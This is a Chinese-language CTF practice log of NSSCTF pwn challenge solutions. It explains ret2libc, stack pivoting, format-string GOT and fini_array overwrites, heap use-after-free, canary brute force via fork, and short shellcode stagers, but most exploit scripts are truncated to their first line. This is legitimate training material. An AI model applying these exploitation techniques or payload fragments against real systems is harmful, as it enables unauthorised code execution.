NSSCTF刷题记录
11.9
[GDOUCTF 2023]真男人下120层
1 | from pwn import * |
[MoeCTF 2022]ret2text
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
注意一下对齐即可
1 | from struct import pack |
[NUSTCTF 2022 新生赛]ezPwn
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | from struct import pack |
[CISCN 2023 初赛]烧烤摊儿
发现负数有bug
1 | from struct import pack |
[HDCTF 2023]KEEP ON
1 | __int64 vuln() |
是一个栈迁移
%16$p
获取到rbp的地址
1 | pwndbg> p/x 0x7ffe9c6c80b0-0x7ffe9c6c8060 |
那就是-0x60
本地需要对齐
1 | from struct import pack |
[SWPUCTF 2022 新生赛]Integer Overflow
检查安全机制
1 | n1ght@DESKTOP-ISKQ7KA [13:50:34] [~/pwn/nss/SWPUCTF_2022_新生赛_Integer_Overflow] |
1 | int overflow() |
发现输入无符号整数,比较适合是int有符号整数,所以存在整数溢出
1 | from struct import pack |
[HNCTF 2022 Week1]ezcmp
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | from struct import pack |
[HUBUCTF 2022 新生赛]fmt
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
1 | from struct import pack |
[HNCTF 2022 Week1]ezr0p64
1 | ssize_t vuln() |
发现给了一个puts的地址,可以算出system和bin_sh的值,然后rop即可
1 | from struct import pack |
[SWPUCTF 2022 新生赛]shellcode?
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
申请权限
1 | from struct import pack |
[HNCTF 2022 WEEK2]ez_backdoor
1 | __int64 vuln() |
注意一下栈对齐
1 | from struct import pack |
[HUBUCTF 2022 新生赛]singout
1 | -> % nc node5.anna.nssctf.cn 23406 |
[LitCTF 2023]狠狠的溢出涅~
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
发现了strlen
存在\x00
截断,然后打ret2libc即可,由于91注意对齐
1 | from struct import pack |
[HNCTF 2022 Week1]safe_shellcode
1 | from pwn import * |
[LitCTF 2023]口算题卡
1 | from struct import pack |
[HDCTF 2023]pwnner
1 | __int64 vuln() |
srand是伪随机数
1 |
|
编译发现,一直输出
1956681178
所以即可栈溢出
1 | from struct import pack |
11.10
[MoeCTF 2022]shell
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
直接连接即可
[HGAME 2023 week1]easy_overflow
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | from struct import pack |
1 | $ cat flag>&2 |
exec 1>&0
输出重定向
[UUCTF 2022 新生赛]babystack
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
注意栈对齐即可
1 | from struct import pack |
[MoeCTF 2021]ret2text_ez
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | from struct import pack |
[MoeCTF 2022]babyfmt
1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
注意对齐,将printf的got表修改为backdoor的地址
1 | from struct import pack |
[SWPUCTF 2022 新生赛]Darling
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | from struct import pack |
11.11
[SDCTF 2022]Horoscope
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
明显的栈溢出让程序正常执行下去所以要有1
1 | from struct import pack |
[NISACTF 2022]shop_pwn
1 | void __noreturn game() |
我们可以在usleep的时候再次卖出物品
1 | from struct import pack |
[CISCN 2019华中]PWN1
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
一个明显的加密程序
有溢出
1 | int encrypt() |
打ret2libc即可
1 | from struct import pack |
[BJDCTF 2020]YDSneedGirlfriend
尝试运行
1 | YDS need a grilfriend!,can u help him? |
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
当他等于2的时候删除
1 | unsigned __int64 del_girlfriend() |
输入3的时候输出
1 | unsigned __int64 print_girlfriend() |
不为空的时候调用了函数指针
为1的时候添加
1 | unsigned __int64 add_girlfriend() |
所以我们添加两个大于0x20的name的chunk,然后进行free,这时候我们有两个0x10的堆块被释放了,我们添加一个0x10的name的chunk就可控制index为0的函数指针,然后print调用他
1 | from struct import pack |
[CISCN 2022 初赛]login_normal
1 | [*] '/home/pwn/pwn/nssctf/11.11/CISCN_2022_初赛_login_normal/pwn' |
防御全开的一个题目
逆向一下
1 | unsigned __int64 __fastcall sub_FFD(const char *a1) |
逆向出格式发现v9 = strlen(nptr) - 1;
所以我们又多一个字符无效字符
1 | unsigned __int64 __fastcall sub_DA8(const char *a1) |
发现往可执行的mmap里面写入shell
1 | from struct import pack |
[BJDCTF 2020]babyrop2
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
可以泄露canary的值
1 | # pwn @ DESKTOP-D3OTKCS in ~/pwn/nssctf/11.11/BJDCTF_2020_babyrop2 [18:12:38] C:130 │ 2 0x40090f main+53 |
发现在下一个也就是%2加入5个寄存器就是canary值
大小足够泄露两个地址好找libc版本
1 | from struct import pack |
[SUCTF 2018 招新赛]basic pwn
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
很简单一个溢出
1 | from struct import pack |
[HDCTF 2023]Minions
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
key在bss段上0x0000000006010A0
1 | int vuln() |
存在格式化字符串
可以打栈迁移,当前old_ebp保存了old_ebp的地址,我们可以泄露出来
1 | from struct import pack |
格式化字符串
1 | from struct import pack |
11.12
[HNCTF 2022 WEEK4]ezheap
首先更换一个glibc2.23的ld
1 | patchelf --set-interpreter /home/pwn/pwnenv/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2 pwn |
然后更换一下libc
1 | patchelf --replace-needed libc.so.6 ./libc-2.23.so pwn |
主代码逻辑
1 | int __fastcall __noreturn main(int argc, const char **argv, const char **envp) |
菜单
1 | int menu() |
添加
1 | int add() |
删除
1 | _QWORD *delete() |
查看
1 | __int64 show() |
修改
1 | ssize_t edit() |
所以肯定存在堆溢出
puts遇到\x00
截断,我们知道
我们用edit溢出获取puts,将name指向puts的地址,然后修改free_hook为system,然后内容为/bin/sh
1 | from struct import pack |
[GDOUCTF 2023]Random
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
发现有sandbox使用seccomp-tools查看
栈可执行
由于可控空间太小,栈可执行,修改rax和rdi为0,然后修改rdx为0x100,然后rsi添加0x100调用syscall。
由于read的时候rsi为栈中buf的值,所以我们call rsi即可返回buf里,然后执行xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;
读取一段汇编到rsi里面,然后调用rsi里的代码
1 | from struct import pack |
应该好好学习orw的,这个地方就有点懵了
11.13
[UUCTF 2022 新生赛]easystack
开启了PIE和NX
1 | $ checksec pwn |
1 | int vuln() |
发现就溢出了10字节,可以覆盖掉ebp和ret的后两个字节
栈上的 partial overwrite
后门的后两个字节为0000000000001185
所以可以爆破
1 | from struct import pack |
爆破成功
[HDCTF 2023]Makewish
1 | $ python3 exp.py |
发现开启了NX和Canary
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
具体为什么能够栈迁移呢
1 | .text:00000000004008E5 mov eax, 0 |
一开始我不理解的,但是看汇编就理解了调用了vuln函数结束leave;ret篡改了ebp导致ebp的值为fake_ebp,然而esp正常执行完vuln后再次执行leave;ret;就修改了esp为ebp也就指向了fake_ebp,然后ret就是add esp+4;mov eip,[esp-4]
我们只能返回到00也就是得多写ret来保证成功率,这样返回00能滑到后门函数中
可以覆盖至canary
发现key是0x2c3
1 | from struct import pack |
[CISCN 2023 初赛]funcanary
1 | # pwn @ DESKTOP-D3OTKCS in ~/pwn/nssctf/11.13/CISCN_2023_初赛_funcanary [10:46:01] C:1 |
保护全开
1 | void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) |
有溢出有canary有pie,存在fork函数,我了个爆破啊
对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。
1 | from struct import pack |
外部连接很慢,爆破了十几分钟
[SWPUCTF 2023 秋季新生赛]签到
1 | ssize_t vuln() |
1 | from struct import pack |
[CISCN 2019西南]PWN1
劫持fini_array
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
-
n1 = systemplt & 0xFFFF
:首先,提取system
的低 16 位,即systemplt
的低 16 位。 -
n2 = (systemplt >> 16) & 0xFFFF
:接下来,提取system
的高 16 位。 -
n3 = main & 0xFFFF
:计算程序main
地址的低 16 位(可能作为跳转的目标)。
w_offset = 0xe
:w_offset
是栈上 %n
格式化参数的索引,意味着我们会操作第 14 个参数。
pay = f'%{n1}c%{w_offset}$hn'
:这将使得printf
输出n1
个字符,并使用%n
将已输出的字符数写入w_offset
指向的地址。即,修改system
地址的低 16 位。
pay += f'%{0x10000 + n2 - n1}c%{w_offset+1}$hn'
:这个格式化字符串先输出差值(n2 - n1
),然后通过%n
写入system
地址的高 16 位。
pay += f'%{0x10000 + n3 - n2}c%{w_offset+2}$hn'
:最后,修改main
地址的低 16 位,以进一步控制程序流。
pay = pay.encode()
:将格式化字符串转换为字节。
pay += (4 - (len(pay) % 4)) * b'A'
:为了保证数据对齐(4 字节对齐),攻击者可能需要在格式化字符串后填充A
字符。
pay += p32(printgot)
:写入的第一个地址,即printgot
(printf
GOT 的位置)。
pay += p32(printgot+2)
:写入的第二个地址,printgot+2
,因为 GOT 是 4 字节对齐的,所以第 2 个n
写入的是该地址的第二部分。
pay += p32(gol)
:最终控制流的劫持fini_array目标地址gol
,它会触发执行main
。
1 | from struct import pack |
[HGAME 2023 week1]simple_shellcode
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
嘶,这可以写入0x10的字节
然后会调用,大小不够
1 | .text:000000000000137F ; 5: puts("Please input your shellcode:"); |
在调用到buf的代码时候,rdx为buf的地址,所以我们可以设置rdi为0,rsi为rdx+0x10的地址,使用syscall调用,然后再次调用call rsi;也就是再次输入的shellcode,这时候read的大小就是rsi的地址值足够容纳shellcode
1 | from struct import pack |
[HNCTF 2022 WEEK2]ret2libc
1 | ssize_t vuln() |
打个rop即可
1 | from struct import pack |
[广东省大学生攻防大赛 2022]jmp_rsp
1 | .text:0000000000400B5D ; int __fastcall main(int argc, const char **argv, const char **envp) |
buf离栈顶0x80距离,读取0x100的大小,这时候buf指向输入的开头,开启了栈可执行
我们找到了call rsi这个magic gadget,这样就可以直接调用buf里面的命令,也就是shellcode
1 | from struct import pack |
[NSSRound#4 SWPU]真签到题来试试吧
开启了NX
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
read往bss段上写入数据,这题有点坑啊,我以为payload错了呢,看了半天加上sleep就成功了
1 | from struct import pack |
[CISCN 2019华南]PWN4
1 | int vul() |
发现可以写入0x30后print可以泄露出来ebp的值,然后迁移即可
1 | from struct import pack |
11.14
[FSCTF 2023]rdi
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
使用sh也可以
1 | from struct import pack |
[SWPUCTF 2022 新生赛]FindanotherWay
很简单不知道为什么没人做
1 | from struct import pack |
[watevrCTF 2019]Voting Machine 2
1 | from struct import pack |
[HGAME 2023 week1]choose_the_seat
1 | void __noreturn vuln() |
数组越界
修改exit为_start循环
然后后一位为read
1 | from struct import pack |
11.15
[SWPUCTF 2023 秋季新生赛]Shellcode
开启了PIE和Canary和RELRO
1 | .text:00000000000011AD push rbp |
1 | from struct import pack |
11.16
[NSSRound#9 Basic]MyExec
1 | .text:0000000000001325 push rbp |
ret2shellcode
1 | from struct import pack |
[MoeCTF 2022]ret2libc
1 | .text:0000000000401183 buf = byte ptr -40h |
libc6_2.35-0ubuntu3.2_amd64
1 | from struct import pack |
[MoeCTF 2021]ezROP
1 | .text:00000000004009A0 push rbp |
libc6_2.23-0ubuntu11.3_amd64
1 | from struct import pack |